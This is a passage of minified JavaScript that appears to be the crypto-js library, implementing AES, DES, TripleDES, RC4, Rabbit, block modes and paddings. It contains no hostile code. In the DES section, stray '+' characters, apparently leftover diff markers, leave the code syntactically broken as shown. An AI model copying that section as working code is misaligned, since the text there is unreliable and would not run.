t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X 